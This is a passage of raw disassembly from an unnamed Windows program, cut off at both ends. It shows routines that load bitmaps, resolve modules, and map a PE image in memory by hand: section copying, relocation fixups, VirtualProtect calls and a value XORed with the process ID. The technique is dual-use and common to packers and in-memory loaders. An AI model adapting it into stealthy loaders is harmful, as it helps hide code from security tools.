XREF: sub_4D5456+4Fj push 0FFFFFFFFh and [ebp+var_64], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_64] jmp loc_4D56DC ; --------------------------------------------------------------------------- loc_4D54D0: ; CODE XREF: sub_4D5456+5Fj movzx eax, [ebp+var_28] cmp eax, 4D42h jnz short loc_4D5534 mov eax, [ebp+var_26] cmp eax, [ebp+var_44] ja short loc_4D5534 mov eax, [ebp+var_26] sub eax, 0Eh push eax call sub_4D835A pop ecx mov [ebp+var_5C], eax mov eax, [ebp+var_5C] mov [ebp+var_30], eax lea eax, [ebp+var_48] push eax push 0 lea eax, [ebp+var_3C] push eax mov eax, [ebp+var_26] sub eax, 0Eh push eax push [ebp+var_30] push [ebp+arg_0] call sub_4D1177 test eax, eax jnz short loc_4D5532 push 0FFFFFFFFh and [ebp+var_68], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_68] jmp loc_4D56DC ; --------------------------------------------------------------------------- loc_4D5532: ; CODE XREF: sub_4D5456+C1j jmp short loc_4D554D ; --------------------------------------------------------------------------- loc_4D5534: ; CODE XREF: sub_4D5456+83j ; sub_4D5456+8Bj push 0FFFFFFFFh and [ebp+var_6C], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_6C] jmp loc_4D56DC ; --------------------------------------------------------------------------- loc_4D554D: ; CODE XREF: sub_4D5456:loc_4D5532j mov eax, [ebp+var_30] mov eax, [eax] mov [ebp+var_38], eax mov eax, [ebp+var_30] cmp dword ptr [eax+10h], 0 jz short loc_4D5577 push 0FFFFFFFFh and [ebp+var_70], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_70] jmp loc_4D56DC ; --------------------------------------------------------------------------- loc_4D5577: ; CODE XREF: sub_4D5456+106j push 0 call ds:dword_4E17E0 ; CreateCompatibleDC mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_4D55A1 push 0FFFFFFFFh and [ebp+var_74], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_74] jmp loc_4D56DC ; --------------------------------------------------------------------------- loc_4D55A1: ; CODE XREF: sub_4D5456+130j mov eax, [ebp+var_1E] mov ecx, [ebp+var_30] lea eax, [ecx+eax-0Eh] mov [ebp+var_40], eax and [ebp+var_4C], 0 and [ebp+var_54], 0 mov eax, [ebp+var_30] movzx eax, word ptr [eax+0Eh] mov [ebp+var_78], eax cmp [ebp+var_78], 8 jz short loc_4D55F5 cmp [ebp+var_78], 10h jz short loc_4D55EC cmp [ebp+var_78], 18h jz short loc_4D55E3 cmp [ebp+var_78], 20h jz short loc_4D55DA jmp short loc_4D55FE ; --------------------------------------------------------------------------- loc_4D55DA: ; CODE XREF: sub_4D5456+180j mov [ebp+var_4C], 4 jmp short loc_4D5617 ; --------------------------------------------------------------------------- loc_4D55E3: ; CODE XREF: sub_4D5456+17Aj mov [ebp+var_4C], 3 jmp short loc_4D5617 ; --------------------------------------------------------------------------- loc_4D55EC: ; CODE XREF: sub_4D5456+174j mov [ebp+var_4C], 2 jmp short loc_4D5617 ; --------------------------------------------------------------------------- loc_4D55F5: ; CODE XREF: sub_4D5456+16Ej mov [ebp+var_4C], 1 jmp short loc_4D5617 ; --------------------------------------------------------------------------- loc_4D55FE: ; CODE XREF: sub_4D5456+182j push 0FFFFFFFFh and [ebp+var_7C], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_7C] jmp loc_4D56DC ; --------------------------------------------------------------------------- loc_4D5617: ; CODE XREF: sub_4D5456+18Bj ; sub_4D5456+194j ... push 0 push 0 lea eax, [ebp+var_58] push eax push 0 push [ebp+var_30] push [ebp+var_2C] call ds:dword_4E17E4 ; CreateDIBSection mov [ebp+var_54], eax cmp [ebp+var_54], 0 jnz short loc_4D564F push 0FFFFFFFFh and [ebp+var_80], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_80] jmp loc_4D56DC ; --------------------------------------------------------------------------- loc_4D564F: ; CODE XREF: sub_4D5456+1DEj mov eax, [ebp+var_30] mov eax, [eax+4] imul eax, [ebp+var_4C] mov [ebp+var_50], eax mov eax, [ebp+var_50] cdq push 4 pop ecx idiv ecx test edx, edx jz short loc_4D567F mov eax, [ebp+var_50] cdq push 4 pop ecx idiv ecx push 4 pop eax sub eax, edx mov ecx, [ebp+var_50] add ecx, eax mov [ebp+var_50], ecx loc_4D567F: ; CODE XREF: sub_4D5456+211j mov eax, [ebp+var_30] mov ecx, [ebp+var_50] imul ecx, [eax+8] mov esi, [ebp+var_40] mov edi, [ebp+var_58] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0FFFFFFFFh mov eax, [ebp+var_54] mov [ebp+var_84], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_84] jmp short loc_4D56DC ; --------------------------------------------------------------------------- loc_4D56BB: ; DATA XREF: _5:004DE480o cmp [ebp+var_2C], 0 jz short loc_4D56CA push [ebp+var_2C] call ds:dword_4E17E8 ; DeleteDC loc_4D56CA: ; CODE XREF: sub_4D5456+269j mov eax, [ebp+var_30] mov [ebp+var_60], eax push [ebp+var_60] call sub_4D83DD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_4D56DC: ; CODE XREF: sub_4D5456+75j ; sub_4D5456+D7j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4D5456 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D56EB proc near ; CODE XREF: sub_4D61E1+969p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push 0 push [ebp+arg_0] call sub_4D92CA pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax jmp short loc_4D570F ; --------------------------------------------------------------------------- loc_4D5708: ; CODE XREF: sub_4D56EB+40j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4D570F: ; CODE XREF: sub_4D56EB+1Bj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_4D572D mov eax, [ebp+var_8] movsx eax, byte ptr [eax] push eax call sub_4CC86E pop ecx mov ecx, [ebp+var_8] mov [ecx], al jmp short loc_4D5708 ; --------------------------------------------------------------------------- loc_4D572D: ; CODE XREF: sub_4D56EB+2Cj push 0Ch call sub_4D835A pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [eax+4], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax], ecx mov eax, [ebp+var_C] mov ecx, [ebp+arg_8] mov [eax+8], ecx mov eax, [ebp+var_C] leave retn sub_4D56EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D575D proc near ; CODE XREF: sub_4D4AB0+9Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push 0 push [ebp+arg_4] call sub_4D92CA pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax jmp short loc_4D5781 ; --------------------------------------------------------------------------- loc_4D577A: ; CODE XREF: sub_4D575D+40j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4D5781: ; CODE XREF: sub_4D575D+1Bj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_4D579F mov eax, [ebp+var_8] movsx eax, byte ptr [eax] push eax call sub_4CC86E pop ecx mov ecx, [ebp+var_8] mov [ecx], al jmp short loc_4D577A ; --------------------------------------------------------------------------- loc_4D579F: ; CODE XREF: sub_4D575D+2Cj ; sub_4D575D:loc_4D5818j cmp [ebp+arg_0], 0 jz short loc_4D581A mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+arg_0], eax mov eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_C] mov eax, [eax] mov [ebp+var_14], eax loc_4D57C2: ; CODE XREF: sub_4D575D+97j mov eax, [ebp+var_14] mov al, [eax] mov [ebp+var_15], al mov ecx, [ebp+var_10] cmp al, [ecx] jnz short loc_4D57FC cmp [ebp+var_15], 0 jz short loc_4D57F6 mov eax, [ebp+var_14] mov al, [eax+1] mov [ebp+var_16], al mov ecx, [ebp+var_10] cmp al, [ecx+1] jnz short loc_4D57FC add [ebp+var_14], 2 add [ebp+var_10], 2 cmp [ebp+var_16], 0 jnz short loc_4D57C2 loc_4D57F6: ; CODE XREF: sub_4D575D+78j and [ebp+var_1C], 0 jmp short loc_4D5804 ; --------------------------------------------------------------------------- loc_4D57FC: ; CODE XREF: sub_4D575D+72j ; sub_4D575D+89j sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_1C], eax loc_4D5804: ; CODE XREF: sub_4D575D+9Dj mov eax, [ebp+var_1C] mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_4D5818 mov eax, [ebp+var_C] mov eax, [eax+4] jmp short locret_4D581C ; --------------------------------------------------------------------------- loc_4D5818: ; CODE XREF: sub_4D575D+B1j jmp short loc_4D579F ; --------------------------------------------------------------------------- loc_4D581A: ; CODE XREF: sub_4D575D+46j xor eax, eax locret_4D581C: ; CODE XREF: sub_4D575D+B9j leave retn sub_4D575D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D581E proc near ; CODE XREF: sub_4D58CF+86p ; sub_4D61E1+D8p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_8], 0 and [ebp+var_4], 0 movzx eax, ds:byte_4E1694 test eax, eax jnz short loc_4D587C push offset dword_4E0C88 lea edx, [ebp+var_4] mov ecx, [ebp+arg_0] call sub_4D1AE2 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4D5863 push offset dword_4E0C88 lea edx, [ebp+var_4] mov ecx, [ebp+arg_0] call sub_4D19D2 mov [ebp+var_8], eax loc_4D5863: ; CODE XREF: sub_4D581E+30j cmp [ebp+var_8], 0 jnz short loc_4D587C mov eax, [ebp+var_4] mov [ebp+var_C], eax push [ebp+var_C] call sub_4D83DD pop ecx and [ebp+var_4], 0 loc_4D587C: ; CODE XREF: sub_4D581E+17j ; sub_4D581E+49j cmp [ebp+arg_4], 0 jz short loc_4D588C mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx jmp short loc_4D589B ; --------------------------------------------------------------------------- loc_4D588C: ; CODE XREF: sub_4D581E+62j mov eax, [ebp+var_4] mov [ebp+var_10], eax push [ebp+var_10] call sub_4D83DD pop ecx loc_4D589B: ; CODE XREF: sub_4D581E+6Cj mov eax, [ebp+var_8] leave retn sub_4D581E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D58A0 proc near ; CODE XREF: sub_4D5BD7+41p ; sub_4D5BD7+37Cp ... push ebp mov ebp, esp cmp ds:dword_4E195C, 0 jnz short loc_4D58C2 push offset aKernel32_dll ; "kernel32.dll" push offset aGetcurrentpr_0 ; "GetCurrentProcessId" call sub_4D9C22 pop ecx pop ecx mov ds:dword_4E195C, eax loc_4D58C2: ; CODE XREF: sub_4D58A0+Aj call ds:dword_4E195C xor eax, 0CABEFA10h pop ebp retn sub_4D58A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D58CF proc near ; CODE XREF: sub_4D5AD2+Cp ; sub_4DAF8C+2Bp var_34 = byte ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 34h mov [ebp+var_34], dl mov [ebp+var_30], ecx push offset sub_4DBB0D push ds:dword_4E17C0 push [ebp+var_30] mov ecx, ds:dword_4E1954 call sub_4DB891 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4D594E movzx eax, [ebp+var_34] test eax, eax jz short loc_4D5946 push 400h call sub_4D835A pop ecx mov [ebp+var_1C], eax mov eax, [ebp+var_1C] mov [ebp+var_10], eax push 400h push [ebp+var_10] push [ebp+var_C] call ds:dword_4E1714 ; GetModuleFileNameA test eax, eax jz short loc_4D5937 push [ebp+var_10] call ds:dword_4E175C ; LoadLibraryA loc_4D5937: ; CODE XREF: sub_4D58CF+5Dj mov eax, [ebp+var_10] mov [ebp+var_20], eax push [ebp+var_20] call sub_4D83DD pop ecx loc_4D5946: ; CODE XREF: sub_4D58CF+34j mov eax, [ebp+var_C] jmp locret_4D5A3F ; --------------------------------------------------------------------------- loc_4D594E: ; CODE XREF: sub_4D58CF+2Cj push 0 push 0 push [ebp+var_30] call sub_4D581E add esp, 0Ch mov [ebp+var_8], eax and [ebp+var_4], 0 cmp [ebp+var_8], 0 jz short loc_4D59B3 push 0 push 0 push [ebp+var_8] call sub_4D8892 add esp, 0Ch mov [ebp+var_14], eax push [ebp+var_14] call ds:dword_4E1718 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4D599F movzx eax, [ebp+var_34] test eax, eax jz short loc_4D599F push [ebp+var_14] call ds:dword_4E175C ; LoadLibraryA loc_4D599F: ; CODE XREF: sub_4D58CF+BDj ; sub_4D58CF+C5j mov eax, [ebp+var_14] mov [ebp+var_24], eax push [ebp+var_24] call sub_4D83DD pop ecx jmp loc_4D5A3C ; --------------------------------------------------------------------------- loc_4D59B3: ; CODE XREF: sub_4D58CF+99j push [ebp+var_30] call ds:dword_4E1718 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4D5A3C movzx eax, [ebp+var_34] test eax, eax jz short loc_4D5A3C push 400h call sub_4D835A pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_18], eax push 400h push [ebp+var_18] push [ebp+var_4] call ds:dword_4E1714 ; GetModuleFileNameA test eax, eax jz short loc_4D59FF push [ebp+var_18] call ds:dword_4E175C ; LoadLibraryA loc_4D59FF: ; CODE XREF: sub_4D58CF+125j mov eax, [ebp+var_18] mov [ebp+var_2C], eax push [ebp+var_2C] call sub_4D83DD pop ecx push [ebp+var_30] push [ebp+var_4] call sub_4D5070 test eax, eax jnz short loc_4D5A3C call ds:dword_4E1710 ; RtlGetLastWin32Error test eax, eax jnz short loc_4D5A2F push 7Eh call ds:dword_4E178C ; RtlRestoreLastWin32Error loc_4D5A2F: ; CODE XREF: sub_4D58CF+156j push [ebp+var_4] call ds:dword_4E16E0 ; FreeLibrary and [ebp+var_4], 0 loc_4D5A3C: ; CODE XREF: sub_4D58CF+DFj ; sub_4D58CF+F4j ... mov eax, [ebp+var_4] locret_4D5A3F: ; CODE XREF: sub_4D58CF+7Aj leave retn sub_4D58CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D5A41 proc near ; CODE XREF: sub_4DB076+4Ep var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004D5AC3 SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE488 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi mov [ebp+var_28], ecx push 105h call sub_4D835A pop ecx mov [ebp+var_20], eax mov eax, [ebp+var_20] mov [ebp+var_1C], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_1C] rep stosd stosb and [ebp+var_4], 0 push 104h push [ebp+var_1C] push [ebp+var_28] call ds:dword_4E1714 ; GetModuleFileNameA push [ebp+var_1C] push [ebp+var_28] call sub_4D5070 or [ebp+var_4], 0FFFFFFFFh call sub_4D5AB3 jmp short loc_4D5AC3 sub_4D5A41 endp ; =============== S U B R O U T I N E ======================================= sub_4D5AB3 proc near ; CODE XREF: sub_4D5A41+6Bp ; DATA XREF: _5:004DE490o mov eax, [ebp-1Ch] mov [ebp-24h], eax push dword ptr [ebp-24h] call sub_4D83DD pop ecx retn sub_4D5AB3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D5A41 loc_4D5AC3: ; CODE XREF: sub_4D5A41+70j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_4D5A41 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D5AD2 proc near ; CODE XREF: sub_4DAE2D+19p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov dl, 1 mov ecx, [ebp+var_4] call sub_4D58CF leave retn sub_4D5AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D5AE5 proc near ; CODE XREF: sub_4D61E1+5DBp ; sub_4D61E1+60Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_4] mov [ebp+var_4], edx cmp [ebp+var_4], 0 jz short loc_4D5B05 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] sub eax, [ebp+var_4] jmp short locret_4D5B08 ; --------------------------------------------------------------------------- loc_4D5B05: ; CODE XREF: sub_4D5AE5+13j mov eax, [ebp+arg_0] locret_4D5B08: ; CODE XREF: sub_4D5AE5+1Ej leave retn sub_4D5AE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D5B0A proc near ; CODE XREF: sub_4D5BD7+16Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] add eax, [ebp+arg_8] mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+arg_8] add eax, [ebp+arg_C] mov [ebp+var_8], eax loc_4D5B25: ; CODE XREF: sub_4D5B0A:loc_4D5BD0j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb locret_4D5BD5 mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_14], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+var_10] sub eax, 8 mov [ebp+var_10], eax mov eax, [ebp+var_4] add eax, [ebp+var_10] mov [ebp+var_C], eax loc_4D5B65: ; CODE XREF: sub_4D5B0A+8Bj ; sub_4D5B0A+C4j mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_4D5BD0 mov eax, [ebp+var_4] movzx eax, word ptr [eax] and eax, 0FFFh mov [ebp+var_24], eax mov eax, [ebp+var_4] movzx eax, word ptr [eax] sar eax, 0Ch mov [ebp+var_1C], eax mov eax, [ebp+var_4] inc eax inc eax mov [ebp+var_4], eax cmp [ebp+var_1C], 0 jnz short loc_4D5B97 jmp short loc_4D5B65 ; --------------------------------------------------------------------------- loc_4D5B97: ; CODE XREF: sub_4D5B0A+89j cmp [ebp+var_1C], 3 jz short loc_4D5BA7 mov ecx, 0EF000016h call sub_4D8342 loc_4D5BA7: ; CODE XREF: sub_4D5B0A+91j mov eax, [ebp+arg_0] add eax, [ebp+var_14] add eax, [ebp+var_24] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] sub ecx, [eax+34h] mov eax, [ebp+var_20] mov eax, [eax] add eax, ecx mov [ebp+var_18], eax mov eax, [ebp+var_20] mov ecx, [ebp+var_18] mov [eax], ecx jmp short loc_4D5B65 ; --------------------------------------------------------------------------- loc_4D5BD0: ; CODE XREF: sub_4D5B0A+61j jmp loc_4D5B25 ; --------------------------------------------------------------------------- locret_4D5BD5: ; CODE XREF: sub_4D5B0A+21j leave retn sub_4D5B0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D5BD7 proc near ; DATA XREF: sub_4D61E1+C01o var_7C = dword ptr -7Ch var_78 = byte ptr -78h var_74 = dword ptr -74h var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 004D6113 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004D6128 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE498 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 7Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_1C], 0 and [ebp+var_4], 0 cmp [ebp+arg_10], 1 jnz loc_4D5F4D mov [ebp+var_4], 1 call sub_4D58A0 mov ecx, [ebp+arg_8] xor ecx, eax mov [ebp+arg_8], ecx mov eax, [ebp+arg_C] mov [ebp+var_24], eax mov eax, [ebp+var_24] mov ecx, [ebp+var_24] add ecx, [eax+3Ch] mov [ebp+var_40], ecx mov eax, [ebp+var_40] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_40] lea eax, [ecx+eax+18h] mov [ebp+var_34], eax mov eax, [ebp+var_40] movzx eax, word ptr [eax+6] imul eax, 28h mov ecx, [ebp+var_34] lea eax, [ecx+eax-28h] mov [ebp+var_28], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] mov eax, [ecx+eax+34h] mov [ebp+var_44], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] mov eax, [ecx+eax+38h] mov [ebp+var_2C], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] mov eax, [ecx+eax+3Ch] mov [ebp+var_30], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] mov eax, [ecx+eax+40h] mov [ebp+var_38], eax mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] lea eax, [ecx+eax+44h] mov [ebp+var_3C], eax jmp short loc_4D5CB7 ; --------------------------------------------------------------------------- loc_4D5CAE: ; CODE XREF: sub_4D5BD7:loc_4D5D2Aj mov eax, [ebp+var_34] add eax, 28h mov [ebp+var_34], eax loc_4D5CB7: ; CODE XREF: sub_4D5BD7+D5j mov eax, [ebp+var_34] cmp eax, [ebp+var_28] jnb short loc_4D5D2C mov eax, [ebp+var_3C] mov eax, [eax] mov [ebp+var_50], eax mov eax, [ebp+var_3C] add eax, 4 mov [ebp+var_3C], eax mov eax, [ebp+var_3C] mov eax, [eax] mov [ebp+var_4C], eax mov eax, [ebp+var_3C] add eax, 4 mov [ebp+var_3C], eax mov eax, [ebp+var_3C] add eax, 4 mov [ebp+var_3C], eax push 0 push 0 push [ebp+var_50] push [ebp+arg_0] call sub_4D0421 lea eax, [ebp+var_48] push eax push 0 push 0 push [ebp+var_4C] mov eax, [ebp+var_34] mov ecx, [ebp+var_24] add ecx, [eax+0Ch] push ecx push [ebp+arg_0] call sub_4D1177 test eax, eax jz short loc_4D5D20 cmp [ebp+var_48], 0 jnz short loc_4D5D2A loc_4D5D20: ; CODE XREF: sub_4D5BD7+141j mov ecx, 0EF00000Fh call sub_4D8342 loc_4D5D2A: ; CODE XREF: sub_4D5BD7+147j jmp short loc_4D5CAE ; --------------------------------------------------------------------------- loc_4D5D2C: ; CODE XREF: sub_4D5BD7+E6j mov eax, [ebp+var_40] mov eax, [eax+34h] cmp eax, [ebp+var_24] jz short loc_4D5D4B push [ebp+var_2C] push [ebp+var_44] push [ebp+var_40] push [ebp+var_24] call sub_4D5B0A add esp, 10h loc_4D5D4B: ; CODE XREF: sub_4D5BD7+15Ej push 5Ch push [ebp+arg_4] call sub_4CC700 pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_4D5D68 mov eax, [ebp+arg_4] mov [ebp+var_20], eax jmp short loc_4D5D6F ; --------------------------------------------------------------------------- loc_4D5D68: ; CODE XREF: sub_4D5BD7+187j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4D5D6F: ; CODE XREF: sub_4D5BD7+18Fj cmp [ebp+var_30], 0 jz short loc_4D5D97 mov eax, [ebp+var_24] add eax, [ebp+var_30] mov [ebp+var_54], eax push [ebp+var_38] push 1 push [ebp+var_20] push [ebp+var_40] push [ebp+var_24] push [ebp+var_54] call sub_4D4D70 add esp, 18h loc_4D5D97: ; CODE XREF: sub_4D5BD7+19Cj mov eax, ds:dword_4E1954 mov [ebp+var_74], eax cmp [ebp+var_74], 0 jz short loc_4D5DB8 mov eax, [ebp+var_74] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_78], 1 jmp short loc_4D5DBC ; --------------------------------------------------------------------------- loc_4D5DB8: ; CODE XREF: sub_4D5BD7+1CCj and [ebp+var_78], 0 loc_4D5DBC: ; CODE XREF: sub_4D5BD7+1DFj movzx eax, [ebp+var_78] test eax, eax jz short loc_4D5DFB push offset sub_4DBB0D push ds:dword_4E17C0 push [ebp+arg_C] push [ebp+var_20] mov ecx, ds:dword_4E1954 call sub_4DB9B1 mov eax, ds:dword_4E1954 mov [ebp+var_7C], eax cmp [ebp+var_7C], 0 jz short loc_4D5DFB mov eax, [ebp+var_7C] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection loc_4D5DFB: ; CODE XREF: sub_4D5BD7+1EBj ; sub_4D5BD7+215j push [ebp+arg_4] push [ebp+arg_C] mov ecx, ds:dword_4E194C call sub_4DB98E cmp ds:dword_4E1680, 2 jb loc_4D5F35 mov eax, [ebp+var_40] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_40] lea eax, [ecx+eax+18h] mov [ebp+var_34], eax and [ebp+var_58], 0 lea eax, [ebp+var_58] push eax push 4 mov eax, [ebp+var_28] sub eax, [ebp+var_34] cdq push 28h pop ecx idiv ecx push eax push [ebp+var_34] call ds:dword_4E17AC ; VirtualProtect mov eax, [ebp+var_28] mov eax, [eax+0Ch] mov ecx, [ebp+var_24] lea eax, [ecx+eax+44h] mov [ebp+var_3C], eax jmp short loc_4D5E65 ; --------------------------------------------------------------------------- loc_4D5E5C: ; CODE XREF: sub_4D5BD7+32Bj mov eax, [ebp+var_34] add eax, 28h mov [ebp+var_34], eax loc_4D5E65: ; CODE XREF: sub_4D5BD7+283j mov eax, [ebp+var_34] cmp eax, [ebp+var_28] jnb loc_4D5F07 mov eax, [ebp+var_3C] add eax, 8 mov [ebp+var_3C], eax mov eax, [ebp+var_3C] mov eax, [eax] mov [ebp+var_60], eax mov eax, [ebp+var_3C] add eax, 4 mov [ebp+var_3C], eax mov eax, [ebp+var_34] mov ecx, [ebp+var_60] mov [eax+24h], ecx and [ebp+var_5C], 0 mov eax, [ebp+var_60] and eax, 20000000h test eax, eax jz short loc_4D5EC2 mov eax, [ebp+var_60] and eax, 80000000h test eax, eax jz short loc_4D5EB9 mov [ebp+var_5C], 40h jmp short loc_4D5EC0 ; --------------------------------------------------------------------------- loc_4D5EB9: ; CODE XREF: sub_4D5BD7+2D7j mov [ebp+var_5C], 20h loc_4D5EC0: ; CODE XREF: sub_4D5BD7+2E0j jmp short loc_4D5EDE ; --------------------------------------------------------------------------- loc_4D5EC2: ; CODE XREF: sub_4D5BD7+2CBj mov eax, [ebp+var_60] and eax, 80000000h test eax, eax jz short loc_4D5ED7 mov [ebp+var_5C], 4 jmp short loc_4D5EDE ; --------------------------------------------------------------------------- loc_4D5ED7: ; CODE XREF: sub_4D5BD7+2F5j mov [ebp+var_5C], 2 loc_4D5EDE: ; CODE XREF: sub_4D5BD7:loc_4D5EC0j ; sub_4D5BD7+2FEj lea eax, [ebp+var_60] push eax push [ebp+var_5C] mov 